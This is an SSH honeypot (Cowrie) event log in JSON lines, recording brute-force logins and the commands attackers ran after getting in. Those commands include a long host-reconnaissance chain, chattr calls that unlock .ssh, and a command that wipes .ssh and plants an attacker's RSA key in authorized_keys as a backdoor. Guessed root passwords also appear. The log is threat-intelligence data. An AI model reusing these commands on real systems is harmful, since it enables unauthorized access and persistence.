{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:32:51.154568Z","src_ip":"92.118.39.56","session":"d8c191ef34e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:32:51.471132Z","src_ip":"92.118.39.56","session":"d8c191ef34e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:32:52.577526Z","src_ip":"92.118.39.56","session":"d8c191ef34e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":21758,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ac5437ec09","protocol":"ssh","message":"New connection: 103.82.27.19:21758 (159.203.135.109:22) [session: 27ac5437ec09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:17.153021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:17.157304Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:17.421776Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin12345","message":"login attempt [root/admin12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:18.518864Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:19.241924Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:19.244079Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"1.4","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:20.615654Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:34:20.619914Z","src_ip":"103.82.27.19","session":"27ac5437ec09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.59.218","src_port":42166,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2fca18d74b","protocol":"ssh","message":"New connection: 125.21.59.218:42166 (10.17.0.5:22) [session: 1e2fca18d74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:18.477078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:18.481848Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:18.690419Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test123123","message":"login attempt [root/test123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:19.541419Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:19.983736Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:19.987377Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:19.990349Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:20.197695Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:20.713095Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:20.715577Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:20.926455Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:20.929628Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.59.218","src_port":42622,"dst_ip":"10.17.0.5","dst_port":22,"session":"d954dbc1eac6","protocol":"ssh","message":"New connection: 125.21.59.218:42622 (10.17.0.5:22) [session: d954dbc1eac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:21.146900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:21.150911Z","src_ip":"125.21.59.218","session":"d954dbc1eac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:21.371819Z","src_ip":"125.21.59.218","session":"d954dbc1eac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:22.291557Z","src_ip":"125.21.59.218","session":"d954dbc1eac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:23.517211Z","src_ip":"125.21.59.218","session":"d954dbc1eac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.59.218","src_port":43234,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba5370aea39","protocol":"ssh","message":"New connection: 125.21.59.218:43234 (10.17.0.5:22) [session: 0ba5370aea39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:23.725838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:23.732254Z","src_ip":"125.21.59.218","session":"0ba5370aea39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:23.944827Z","src_ip":"125.21.59.218","session":"0ba5370aea39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:24.838771Z","src_ip":"125.21.59.218","session":"0ba5370aea39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:25.050340Z","src_ip":"125.21.59.218","session":"1e2fca18d74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:36:25.055728Z","src_ip":"125.21.59.218","session":"0ba5370aea39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.225.146.23","src_port":52472,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b63516e8a13","protocol":"ssh","message":"New connection: 197.225.146.23:52472 (10.17.0.5:22) [session: 6b63516e8a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:19.024043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:19.028556Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:19.304108Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zse4XDR%","message":"login attempt [root/zse4XDR%] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:20.436526Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:21.027658Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:21.031015Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
